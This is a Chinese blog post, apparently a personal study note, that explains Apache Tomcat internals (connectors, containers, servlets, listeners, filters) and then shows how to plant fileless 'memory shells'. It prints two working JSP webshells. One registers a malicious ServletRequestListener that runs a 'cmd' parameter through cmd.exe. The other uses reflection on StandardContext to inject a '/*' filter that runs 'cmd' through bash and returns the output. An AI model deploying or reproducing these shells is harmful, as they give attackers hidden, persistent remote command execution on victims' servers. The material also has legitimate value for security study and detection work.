首发于：https://moonsec.top/articles/89
说明
此篇仅记录自己的学习过程，内容都是来自互联网的收集，仅做个人学习研究。
1、Tomcat介绍
Tomcat的主要功能
tomcat作为一个 Web 服务器，实现了两个非常核心的功能：
- Http 服务器功能：进行 Socket 通信(基于 TCP/IP)，解析 HTTP 报文
- Servlet 容器功能：加载和管理 Servlet，由 Servlet 具体负责处理 Request 请求
以上两个功能，分别对应着tomcat的两个核心组件连接器（Connector）和容器（Container），连接器负责对外交流（完成 Http 服务器功能），容器负责内部处理（完成 Servlet 容器功能）
-
Server
Server 服务器的意思，代表整个 tomcat 服务器，一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件，用于提供具体服务。 -
Service
服务是 Server 内部的组件，一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container -
Connector
称作连接器，是 Service 的核心组件之一，一个 Service 可以有多个 Connector，主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response，然后交给 Container 进 行处理，Container 处理完之后在交给 Connector 返回给客户端。 -
Container
负责处理用户的 servlet 请求
Connector连接器
连接器主要完成以下三个核心功能： -
socket 通信，也就是网络编程
-
解析处理应用层协议，封装成一个 Request 对象
-
将 Request 转换为 ServletRequest，将 Response 转换为 ServletResponse
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor，Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter，Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。
Container容器
Container组件又称作Catalina，其是Tomcat的核心。在Container中，有4种容器，分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
四种容器的作用： -
Engine
表示整个 Catalina 的 Servlet 引擎，用来管理多个虚拟站点，一个 Service 最多只能有一个 Engine，但是一个引擎可包含多个 Host -
Host
代表一个虚拟主机，或者说一个站点，可以给 Tomcat 配置多个虚拟主机地址，而一个虚拟主机下可包含多个 Context -
Context
表示一个 Web 应用程序，每一个Context都有唯一的path，一个Web应用可包含多个 Wrapper -
Wrapper
表示一个Servlet，负责管理整个 Servlet 的生命周期，包括装载、初始化、资源回收等
如以下图，a.com和b.com分别对应着两个Host
tomcat的结构图：
1.1 tomcat 结构
--Server 顶层容器
--Service 提供具体服务的
--Connector
--Container
--Engine
--Host
--Context
--Wrapper
--Service
Server: 一个Tomcat仅有一个Server，指代整个Web服务器。
Connector: 连接器，用于接受请求并将请求封装成Request和Response对象。
- Container：Catalina，Servlet 容器,处理servlet请求，内部有多层容器组成，用于管理 Servlet 生命周期，调用 servlet 相关方法。
在Container中，使用PipeLine-Value管道的方式处理请求，包含以下四个子容器：
StandardEngineValue –> StandardHostValue –> StandardContextValue –> StandardWrapperValue - Engine：Servlet 的顶层容器
- Host：代表一个虚拟主机
- Context:代表Webapps（默认应用文件夹，可更改)里单独某个Web应用，Web 应用上下文，包含多个 Wrapper，负责 web 配置的解析、管 理所有的 Web 资源；
Wrapper：每个Wrapper中封装了一个Servlet
2 servlet 相关说明
Servlet只是一个简单的Java接口，用于定义一套处理网络请求的规范，所有实现servlet的类，都需要实现它那五个方法，其中最主要的是两个生命周期方法 init()和destroy()，还有一个处理请求的service()，也就是说，所有实现servlet接口的类，都需要回答这三个问题：
- 初始化时要做什么？
- 销毁时要做什么？
- 接受到请求时要做什么？
Tomcat
有了Servlet并不能直接处理请求，因为Servlet并不会直接和客户端打交道，更不会直接在Servlet中监听8080端口。那么请求是怎么到Servlet的呢？答案是Tomcat，Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。Tomcat才是直接与Tomcat打交道的家伙，Servlet是部署在Tomcat中的。 - 他监听了端口，请求过来后，根据url等信息，确定要将请求交给哪个servlet去处理;
- 然后调用那个servlet的service方法，service方法返回一个response对象;
- tomcat再把这个response返回给客户端。
2.1 DispatcherServlet
DispatchServlet是Spring MVC中的一个类，实现了Servlet接口。所以部署在Tomcat中的Spring项目，对Tomcat来说，都是一个servlet。
DispatcherServlet的继承关系如下：
DispatcherServlet处理网络请求过程如下：
- 用户发请求 –> DispatcherServlet，DispatcherServlet收到请求后自己不进行处理，而是委托给其他的解析器进行处理，作为统一访问点，进行全局的流程控制。
- DispatcherServlet –> HandlerMapping，HandlerMapping将会把请求映射为HandlerExecutionChain对象（包含一个Handler处理器,多个HandlerInterceptor拦截器)。
- DispatcherServlet -> HandlerAdapter，HandlerAdapter将会把处理器包装为适配器，从而支持多种类型的处理器。
- HandlerAdapter –> 处理器功能处理方法的调用，HandlerAdapter将会根据适配的结果调用真正的处理器的功能处理方法，完成功能处理，并返回一个ModelAndView对象(包含模型数据，逻辑视图名)
- ModelAndView的逻辑视图名 –> ViewResolver，ViewResolver将把逻辑视图名解析为具体的View。
- View–>渲染，View会根据传进来的Model模型数据进行渲染，此处的Model实际是一个Map数据结构
- 返回控制权给DispatcherServlet，由DispatcherServlet返回响应给用户。
2.2 listener
Tomcat引入Listener的作用：
Tomcat在启动、运行、关闭等各个过程中，由于环境中对象之间的依赖关系复杂，对象的属性和状态会发生各种改变，一个对象的改变需要通知其他依赖于它的对象，以此保证高度的协同合作，而Listener的引入，正是为了解决该问题。这种行为模式，也称为观察者模式。
Listener监听三个作用域属性状态变更
可以监听在作用域中值 添加 | 替换 | 移除的动作
- request—ServletResquestAttributeListener
- session—HttpSessionAttributeListener
- servletContent— ServletContextAttributeListener
2.3 filter listener servlet关系
Servlet：Servlet的生命周期开始于Web容器的启动时，它就会被载入到Web容器内存中，直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后，一般是会长久驻留在Web容器之中。
装入：启动服务器时加载Servlet的实例。
初始化：web服务器启动时或web服务器接收到请求时，或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用：从第一次到以后的多次访问，都是只调用doGet()或doPost()方法。
销毁：停止服务器时调用destroy()方法，销毁实例。
Filter：自定义Filter的实现，需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例，并调用init()方法来初始化实例；
每一次请求时都只调用方法doFilter()进行处理；停止服务器时调用destroy()方法，销毁实例。
Listener：以ServletRequestListener为例，ServletRequestListener主要用于监听ServletRequest对象的创建和销毁，一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized()；每次请求销毁时调用requestDestroyed()。
加载顺序
web.xml对于这三种组件的加载顺序是：listener -> filter -> servlet，即listener的优先级为三者中最高的。
3、内存马类型
3、1 listener 类型内存马
请求网站的时候, 程序先执行listener监听器的内容：Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种：
- ServletContext，服务器启动和终止时触发
- Session，有关Session操作时触发
- Request，访问服务时触发
其中关于监听Request对象的监听器是最适合做内存马的，只要访问服务就能触发操作。
3.1.1 ServletRequestListener接口
如果在Tomcat要引入listener，需要实现两种接口，分别是LifecycleListener和原生EvenListener。
实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还没进入解析阶段，不适合用于内存马。
所以来看另一个EventListener接口，在Tomcat中，自定义了很多继承于EventListener的接口，应用于各个对象的监听。
其中最重要的就是ServletRequestListener接口
ServletRequestListener用于监听ServletRequest对象的创建和销毁，当我们访问任意资源，无论是servlet、jsp还是静态资源，都会触发requestInitialized方法。
写一个继承于ServletRequestListener接口的TestListener：
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}
}
在web.xml中配置：
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
通过Demo的运行结果，可以发现在一次url请求中触发了requestInitialized 和 requestDestroyed 的两种方法。
3.1.2 调试
1、在public void requestInitialized 下个断点
可以发现StandardContext的fireRequestInitEvent 调用了 requestInitialized 方法
2、通过上面的代码可以看到event的获取，是通过new ServletRequestEvent(getServletContext(), request)获取的，因此even不需要我们进行任何的操作，只要进行request请求，既可以获得对应的event。
3、因此我们重点关注listener的获取方式
instances是通过getApplicationEventListeners()方法获取的。
4、我们查看getApplicationEventListeners方法
applicationEventListenersList.toArray() 得到对应的instances对象
5、继续查找applicationEventListenersList的由来
在getApplicationEventListeners 下个断点
发现跟踪不到之前的调用关系，所以直接在StandardContext.java 往下看，发现addApplicationEventListener 方法，所以猜测，这个是用来添加ApplicationEventListeners的
6、addApplicationEventListener 看起来就是添加listener，所以，我们只要获取standardcontext，调用addApplicationEventListener，将listener添加进去即可
根据listener类别，我们可以使用ServletRequestListener类，它的方法有requestInitialized()，requestDestroyed()，当一个新的request触发和销毁时，方法分别被执行。
7、综上分析这时候我们思路是，调用StandardContext#addApplicationEventListener方法，add我们自己写的恶意listener，然后通过request调用，即可触发对应的rce。
（ps：addApplicationEventListener 在实际的调试中发现无法调用到，不知道为啥，有大神的话希望指点下。）
在jsp中如何获得StandardContext对象
方式一：
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二：
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
以下是网络上公开的内存马：
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("//A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
执行结果
3.2 Filter型内存马
3.2.1 Filter注册流程
要在FilterChain中加入恶意filter，首先要了解tomcat中Filter的注册流程
在上图中可以看到，Wrapper容器调用FilterChain的地方就在StandardWrapperValve类中
调试
注册一个filter：
package com.my.test;
import org.springframework.stereotype.Component;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@Component
@WebFilter(urlPatterns = "/*")
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter过滤");
//放行
chain.doFilter(request,response);
}
@Override
public void destroy() {
System.out.println("filter销毁");
}
}
由于采用了注解的方式，因此不需要配置web.xml
1、在dofilter的初始化的方法上下个断点:
整体的调用链如下：
2、可以看到在StandardWrapperValve#invoke中，通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain
3、其中filterChain 的获取来自
4、在 filterChain.doFilter的方法中，调用了 internalDoFilter(request,response);
5、跟进 internalDoFilter，进行debug发现，在pos[0]的时候默认就是就是我们自己写的filter
出现这个情况的原因是因为我们注册filter的时候为/*，如果换一个注册的url，则发现不一样
因此在注册的时候需要关注对应的url patter
6、在internalDoFilter 最后调用了
在else 中调用了我们自己写的过滤器的初始化。
可以看到，filter是从filters数组中拿到的，看看filters数组是什么，其实就是一个ApplicationFilterConfig类型的对象数组，它的值也就是前面的说的通过createFilterChain方法获得的
7、接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig的
跟进ApplicationFilterFactory#createFilterChain中，看到首先64行拿到了个ServletRequest，然后通过ServletRequest#getFilterChain获取到了filterChain
8、继续往下看，通过StandardContext对象找到了filterMaps[]
然后又通过filterMaps中的名字，找到StandardContext对象中的FilterConfig，最后把FilterConfig加入了filterChain中
9、跟进filterChain.addFilter看到，也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig
10、通过调试发现，有两个很重要的变量，filterMap和filterConfig
- filterMaps拿名字
- filterConfigs拿过滤器
其实这两个变量都是在StandardContext对象里面存放了，其中还有个变量filterDefs也是重要
分析filterMaps、filterConfigs、filterDefs
1）filterMaps
既然这三个变量都是从StandardContext中获得，那么查看StandardContext发现有两个方法可以添加filterMap
2）filterConfigs
在StandardContext中同样寻找添加filterConfig值的地方，发现有一处filterStart方法
此处添加是在tomcat启动时完成，所以下好断点启动tomcat
filterDefs中存放着TestFilter
遍历这个filterDefs，拿到key为TestFilter，value为FilterDef对象，值test.Testfilter
接下来new了一个ApplicationFilterConfig，放入了value
然后把nam=TestFilter和filterConfig放入了filterConfigs
3）filterDefs
以上的filterDefs才是真正放了过滤器的地方，那么我们看下filterDefs在哪里被加入了
在StandardContext中同样有个addFilterDef方法
可以想到，tomcat是从web.xml中读取的filter，然后加入了filterMap和filterDef变量中，以下对应着这两个变量
3.2.3 内存马
我们通过控制filterMaps、filterConfigs、filterDefs的值，则可以注入恶意的filter
filterMaps：一个HashMap对象，包含过滤器名字和URL映射
filterDefs：一个HashMap对象，过滤器名字和过滤器实例的映射
filterConfigs变量：一个ApplicationFilterConfig对象，里面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
说明：此处注册拦截器的url 为“/*”，并没有问题，可以通过下面的实例来说明：
正常的加载可以加载到
运行结果为：
参考
1、https://xz.aliyun.com/search?page=1&keyword=内存马
2、https://xz.aliyun.com/t/10583
3、https://xz.aliyun.com/t/9914
4、https://xz.aliyun.com/t/10358
5、https://www.jianshu.com/p/dfcc5adf82a6
原创文章，作者：Carrie001128，如若转载，请注明出处：https://blog.ytso.com/274819.html